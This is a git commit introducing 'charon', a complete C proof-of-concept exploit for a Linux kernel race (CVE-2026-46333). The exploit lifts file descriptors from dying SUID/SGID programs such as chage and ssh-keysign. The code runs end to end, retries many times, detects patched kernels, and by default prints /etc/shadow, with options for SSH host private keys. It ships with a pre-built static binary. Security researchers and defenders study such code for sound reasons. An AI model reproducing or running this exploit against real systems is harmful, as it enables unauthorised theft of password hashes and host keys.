charon: initial release — CVE-2026-46333 PoC

CHARON ferries file descriptors out of dying SUID/SGID processes
through the __ptrace_may_access mm==NULL window in do_exit(),
disclosed by Qualys 2026-05-15 (CVE-2026-46333).

Default behavior: dump /etc/shadow to stdout, banner + progress on
stderr. --quiet for pure-pipe output, --verbose for stats.

Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family
(chage SUID-root), and ssh-keysign. Patched-kernel detection
distinguishes "primitive fires but lure didn't open target" from
"pidfd_getfd never succeeded → fix is in place".

Pre-built 46KB musl-static binary included as charon-static.
This commit is contained in:
2026-05-15 23:15:58 -04:00
commit a0d7d0b75b
6 changed files with 542 additions and 0 deletions
+311
View File
@@ -0,0 +1,311 @@
/*
* ____ _ _ _ ____ ___ _ _
* / ___|| | | | / \ | _ \ / _ \| \ | |
* | | | |_| | / _ \ | |_) | | | | \| |
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
*
* ferries file descriptors across the exit-mm() Styx
* CVE-2026-46333 / Linux <= 6.12.89
*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
*
* Charon races pidfd_getfd(2) against a dying SUID-root process to
* lift its open /etc/shadow file descriptor through the transient
* mm-NULL window in do_exit():
*
* do_exit()
* ├── exit_mm() ← task->mm = NULL
* ├── ... ← __ptrace_may_access() now lies
* └── exit_files() ← fd table reaped
*
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
* never dumpable" and short-circuits the dumpable check. The dying
* userspace SUID process is briefly indistinguishable from a kernel
* thread in that test, so pidfd_getfd(2) succeeds against it and
* returns whatever fds it still has open before exit_files() runs.
*
* If the SUID binary opened /etc/shadow and then setreuid'd to the
* attacker uid before exiting, Charon walks home with the fd.
*
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
* Disclosure: Qualys → oss-security 2026-05-15
* Educational and authorized-defensive use only.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <time.h>
#include <getopt.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
#define CHARON_VERSION "1.0.0"
static const char BANNER[] =
"\n"
" ____ _ _ _ ____ ___ _ _\n"
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
"\n"
" ferries fds across the exit-mm() Styx\n"
" CVE-2026-46333 / Linux <= 6.12.89\n"
"\n";
/* A lure is a SUID-root binary that opens FILE before dropping uid
* and exiting. invoking ARGV makes it open FILE deterministically. */
struct lure {
const char *path;
const char *file;
const char *const argv[5];
};
static const struct lure lures[] = {
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
* via SUID-root on RHEL family. Either way we ride the elevation. */
{ "/usr/bin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } },
{ "/usr/sbin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } },
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
* is enabled; newer builds bail early but still open the file first. */
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
{ "ssh-keysign", NULL } },
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
{ "ssh-keysign", NULL } },
{ NULL, NULL, { NULL } }
};
/* CLI state */
static const char *opt_target = NULL;
static int opt_quiet = 0;
static int opt_verbose = 0;
static int opt_rounds = 500;
static int opt_inner = 30000;
static unsigned long stat_forks = 0;
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
static unsigned long stat_target_hits = 0; /* matched want_file */
static void
msg(const char *prefix, const char *fmt, ...)
{
if (opt_quiet) return;
va_list ap;
fprintf(stderr, "%s ", prefix);
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
fflush(stderr);
}
static int
dump_fd(int fd)
{
char buf[8192];
ssize_t n;
lseek(fd, 0, SEEK_SET);
while ((n = read(fd, buf, sizeof(buf))) > 0) {
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
return -1;
}
fflush(stdout);
return n < 0 ? -1 : 0;
}
static int
lure_present(const struct lure *l)
{
struct stat st;
if (stat(l->path, &st) != 0) return 0;
/* Accept SUID-anything OR SGID-anything — both trigger the
* dumpable flag in execve which is exactly the protection that
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
* shadow (not SUID root); on RHEL family chage is SUID root. */
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
return 1;
}
/* Returns 0 on success (file contents on stdout). Negative codes:
* -ENOENT lure binary missing / no setuid|setgid
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
static int
hunt(const struct lure *l, const char *want_file)
{
if (!lure_present(l)) return -ENOENT;
msg("[*]", "lure %s target %s", l->path, want_file);
unsigned long getfd_ok_before = stat_getfd_ok;
for (int round = 0; round < opt_rounds; round++) {
pid_t c = fork();
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
execv(l->path, (char *const *)l->argv);
_exit(127);
}
stat_forks++;
int pfd = syscall(__NR_pidfd_open, c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1;
for (int a = 0; a < opt_inner && got < 0; a++) {
for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
stat_getfds++;
if (s < 0) continue;
stat_getfd_ok++; /* the bug worked at least at the syscall level */
char p[512] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, want_file)) {
if (opt_verbose)
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
got = s;
break;
}
close(s);
}
}
if (got >= 0) {
stat_target_hits++;
int rc = dump_fd(got);
close(got);
close(pfd);
waitpid(c, NULL, 0);
if (opt_verbose)
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
return rc;
}
close(pfd);
waitpid(c, NULL, 0);
}
/* If pidfd_getfd never succeeded against this lure, the primitive
* is closed for this binary — likely a patched kernel. */
if (stat_getfd_ok == getfd_ok_before)
return -EPERM;
return -ETIME;
}
static void
usage(const char *prog)
{
fprintf(stderr,
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
"\n"
"Usage: %s [options]\n"
"\n"
" -t, --target FILE file to read (default: /etc/shadow)\n"
" -r, --rounds N max rounds per lure (default: 500)\n"
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
" -q, --quiet no banner, no progress\n"
" -v, --verbose per-hit + final stats\n"
" --version print version and exit\n"
" -h, --help this help\n"
"\n"
"Exit codes:\n"
" 0 success — file contents on stdout\n"
" 1 no built-in lure on this system opens the requested file\n"
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
" 4 CLI / IO error\n"
"\n"
"For authorized security testing and defensive research only.\n",
CHARON_VERSION, prog);
}
int
main(int argc, char **argv)
{
static const struct option opts[] = {
{"target", required_argument, 0, 't'},
{"rounds", required_argument, 0, 'r'},
{"inner", required_argument, 0, 'i'},
{"quiet", no_argument, 0, 'q'},
{"verbose", no_argument, 0, 'v'},
{"version", no_argument, 0, 1 },
{"help", no_argument, 0, 'h'},
{0,0,0,0}
};
int o;
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
switch (o) {
case 't': opt_target = optarg; break;
case 'r': opt_rounds = atoi(optarg); break;
case 'i': opt_inner = atoi(optarg); break;
case 'q': opt_quiet = 1; break;
case 'v': opt_verbose = 1; break;
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
case 'h': usage(argv[0]); return 0;
default : usage(argv[0]); return 4;
}
}
if (!opt_target) opt_target = "/etc/shadow";
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
if (!opt_quiet) fputs(BANNER, stderr);
/* Iterate lures whose `file` matches what the user asked for. */
int any_present = 0, all_appear_patched = 1;
for (const struct lure *l = lures; l->path; l++) {
if (strcmp(l->file, opt_target) != 0) continue;
if (!lure_present(l)) continue;
any_present = 1;
int rc = hunt(l, opt_target);
if (rc == 0) return 0;
if (rc != -EPERM) all_appear_patched = 0;
}
if (!any_present) {
msg("[!]", "no built-in lure on this system opens %s", opt_target);
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
return 1;
}
if (all_appear_patched && stat_getfd_ok == 0) {
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
stat_getfds, stat_forks);
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
return 2;
}
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
stat_getfd_ok, opt_target);
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
return 3;
}